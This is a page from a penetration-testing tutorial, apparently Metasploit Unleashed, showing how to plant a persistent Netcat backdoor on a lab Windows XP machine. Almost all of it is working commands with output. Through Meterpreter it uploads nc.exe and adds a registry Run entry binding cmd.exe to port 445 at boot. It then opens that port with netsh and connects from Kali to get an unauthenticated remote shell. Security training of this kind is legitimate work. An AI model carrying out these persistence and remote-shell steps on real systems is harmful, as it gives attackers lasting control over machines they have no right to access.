Persistent Netcat Backdoor a11y.text Persistent Netcat Backdoor In this example, instead of looking up information on the remote system, we will be installing a Netcat backdoor. This includes changes to the system registry and firewall. First, we must upload a copy of Netcat to the remote system.

meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\windows\system32

[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\windows\system32nc.exe Afterwards, we work with the registry to have netcat execute on start up and listen on port 445. We do this by editing the key â€˜HKLM\software\microsoft\windows\currentversion\runâ€™. meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

Enumerating: HKLM\software\microsoft\windows\currentversion\run

Values (3):

VMware Tools

VMware User Process

quicktftpserver

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'

Successful set nc.

meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

Key: HKLM\software\microsoft\windows\currentversion\Run

Name: nc

Type: REG_SZ

Data: C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe Next, we need to alter the system to allow remote connections through the firewall to our Netcat backdoor. We open up an interactive

command prompt and use the netsh command to make the changes as it is far less error-prone than altering the registry directly. Plus, the process shown should work across more versions of Windows, as registry locations and functions are highly version and patch level dependent.

meterpreter > execute -f cmd -i

Process 1604 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents > netsh firewall show opmode

Netsh firewall show opmode

Domain profile configuration:

Operational mode = Enable

Exception mode = Enable

Standard profile configuration (current):

Operational mode = Enable

Exception mode = Enable

Local Area Connection firewall configuration:

Operational mode = Enable We open up port 445 in the firewall and double-check that it was set properly. C:\Documents and Settings\Jim\My Documents > netsh firewall add portopening

TCP 445 "Service Firewall" ENABLE ALL

netsh firewall add portopening TCP 445 "Service Firewall" ENABLE ALL

Ok.

C:\Documents and Settings\Jim\My Documents > netsh firewall show portopening

netsh firewall show portopening

Port configuration for Domain profile:

Port Protocol Mode Name

---

139 TCP Enable NetBIOS Session Service

445 TCP Enable SMB over TCP

137 UDP Enable NetBIOS Name Service

138 UDP Enable NetBIOS Datagram Service

Port configuration for Standard profile:

Port Protocol Mode Name

---

445 TCP Enable Service Firewall

139 TCP Enable NetBIOS Session Service

445 TCP Enable SMB over TCP

137 UDP Enable NetBIOS Name Service

138 UDP Enable NetBIOS Datagram Service

C:\Documents and Settings\Jim\My Documents > So with that being completed, we will reboot the

remote system and test out the Netcat shell. root@kali : ~ # nc -v 172.16 .104.128 445

172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out

(UNKNOWN) [172.16.104.128] 445 (?) open

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim > dir

dir

Volume in drive C has no label.

Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim

05/03/2009 01:43 AM

.

05/03/2009 01:43 AM

..

05/03/2009 01:26 AM 0 ;i

05/12/2009 10:53 PM

Desktop

10/29/2008 05:55 PM

Favorites

05/12/2009 10:53 PM

My Documents

05/03/2009 01:43 AM 0 QCY

10/29/2008 03:51 AM

Start Menu

05/03/2009 01:25 AM 0 talltelnet.log

05/03/2009 01:25 AM 0 talltftp.log

4 File(s) 0 bytes

6 Dir(s) 35,540,791,296 bytes free

C:\Documents and Settings\Jim > Wonderful! In a real world situation, we would not be using such a simple backdoor as this, with no authentication or encryption, however the principles of this process remain the same for other changes to the system, and other sorts of programs one might want to execute on start up. Next Enabling Remote Desktop Prev Interacting with the Registry